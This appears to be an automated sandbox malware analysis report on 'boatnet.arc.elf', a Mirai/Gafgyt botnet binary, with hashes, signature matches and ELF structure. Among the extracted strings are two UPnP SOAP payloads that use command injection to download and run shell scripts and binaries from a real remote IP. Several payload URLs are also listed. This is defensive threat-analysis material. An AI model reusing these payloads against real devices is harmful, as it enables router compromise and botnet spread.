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Linux Analysis Report
boatnet.arc.elf

Overview

General Information

Sample name:	boatnet.arc.elf
Analysis ID:	1592303
MD5:	769f36c50ef7f45f28bbcec4ebd89c67
SHA1:	a212d20bd810274532542d89d5a37b76c6031547
SHA256:	520fb099f4480aa36096e2d0e88cdf2cc793b58c79165bc4eac78b244d833066
Tags:	elfuser-abuse_ch
Infos:

Errors No process behavior to analyse as no analysis process or sample was found

Detection

Gafgyt, Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592303
Start date and time:	2025-01-16 01:00:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	boatnet.arc.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Errors

No process behavior to analyse as no analysis process or sample was found

Warnings

VT rate limit hit for: http://5.181.159.16/c.sh;
VT rate limit hit for: http://5.181.159.16/idk/home.arm7;chmod
VT rate limit hit for: http://5.181.159.16/idk/home.mips
VT rate limit hit for: http://5.181.159.16/w.sh;
VT rate limit hit for: http://5.181.159.16/wget.sh;

Runtime Messages

Command:	/tmp/boatnet.arc.elf
PID:	5817
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
boatnet.arc.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
boatnet.arc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
boatnet.arc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
boatnet.arc.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x18eb4:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/c.sh;
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/idk/home.arm7;chmod
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/idk/home.mips
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/idk/home.mips;
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/idk/home.x86
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/w.sh;
Source: boatnet.arc.elf	String found in binary or memory: http://5.181.159.16/wget.sh;
Source: boatnet.arc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: boatnet.arc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: boatnet.arc.elf, type: SAMPLE

Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 5.181.159.16 -l /tmp/bigH -r /idk/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: boatnet.arc.elf, type: SAMPLE

Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: boatnet.arc.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match

File source: boatnet.arc.elf, type: SAMPLE

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: boatnet.arc.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match

File source: boatnet.arc.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
boatnet.arc.elf	57%	Virustotal		Browse
boatnet.arc.elf	50%	ReversingLabs	Linux.Backdoor.Mirai
boatnet.arc.elf	100%	Avira	LINUX/Mirai.bonb

Name	Source	Malicious	Reputation
http://5.181.159.16/wget.sh;	boatnet.arc.elf	false	unknown
http://5.181.159.16/idk/home.arm7;chmod	boatnet.arc.elf	false	unknown
http://5.181.159.16/w.sh;	boatnet.arc.elf	false	unknown
http://5.181.159.16/c.sh;	boatnet.arc.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	boatnet.arc.elf	false	high
http://5.181.159.16/idk/home.mips	boatnet.arc.elf	false	unknown
http://5.181.159.16/idk/home.mips;	boatnet.arc.elf	false	unknown
http://5.181.159.16/idk/home.x86	boatnet.arc.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	boatnet.arc.elf	false	high

File type:	ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.519347651177531
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	boatnet.arc.elf
File size:	149'152 bytes
MD5:	769f36c50ef7f45f28bbcec4ebd89c67
SHA1:	a212d20bd810274532542d89d5a37b76c6031547
SHA256:	520fb099f4480aa36096e2d0e88cdf2cc793b58c79165bc4eac78b244d833066
SHA512:	10f495da49528769c91fa7d71c7a184cad34a86182623aaf1d70cb4b37ba0f922d158417974863ebac6b479e002fd42b04cfedb7cb0cb671704a5af6fd38fac8
SSDEEP:	3072:X/9SkAR5lZ8L8dnHF9Ec3pPEID5csgv3q:lk5IePFpDV23q
TLSH:	79E3BFE7B70B1662C84202F807C79B8E3BA31121DE6F88E76D5E697F59790CF1606391
File Content Preview:	.ELF..............].........4...pD......4. ...(......................%...%....... .......?..._..._.......B....... .......................................?..._..._..................Q.td.......................................................................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x106fc
Flags:	0x403
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	148592
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10114	0x114	0x22	0x0	0x6	AX	1
.text	PROGBITS	0x10138	0x138	0x182f4	0x0	0x6	AX	4
.fini	PROGBITS	0x2842c	0x1842c	0x16	0x0	0x6	AX	1
.rodata	PROGBITS	0x28444	0x18444	0xa148	0x0	0x2	A	4
.tbss	NOBITS	0x35fe0	0x23fe0	0x8	0x0	0x403	WAT	4
.fini_array	FINI_ARRAY	0x35fe0	0x23fe0	0x4	0x4	0x3	WA	4
.ctors	PROGBITS	0x35fe4	0x23fe4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x35fec	0x23fec	0x8	0x0	0x3	WA	4
.got	PROGBITS	0x35ff4	0x23ff4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x36008	0x24008	0x3d0	0x0	0x3	WA	4
.bss	NOBITS	0x363d8	0x243d8	0x3e08	0x0	0x3	WA	4
.ARC.attributes	<unknown>	0x0	0x243d8	0x32	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x2440a	0x65	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x2258c	0x2258c	6.7352	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x23fe0	0x35fe0	0x35fe0	0x3f8	0x4200	3.4527	0x6	RW	0x2000	.tbss .fini_array .ctors .dtors .got .data .bss
NOTE	0x0	0x0	0x0	0x0	0x0	0.0000	0x4	R	0x4
TLS	0x23fe0	0x35fe0	0x35fe0	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

⊘No network behavior found

Source: boatnet.arc.elf	Virustotal: Detection: 57%			Perma Link
Source: boatnet.arc.elf	ReversingLabs: Detection: 50%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report boatnet.arc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Errors

Warnings

Runtime Messages

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Linux Analysis Report
boatnet.arc.elf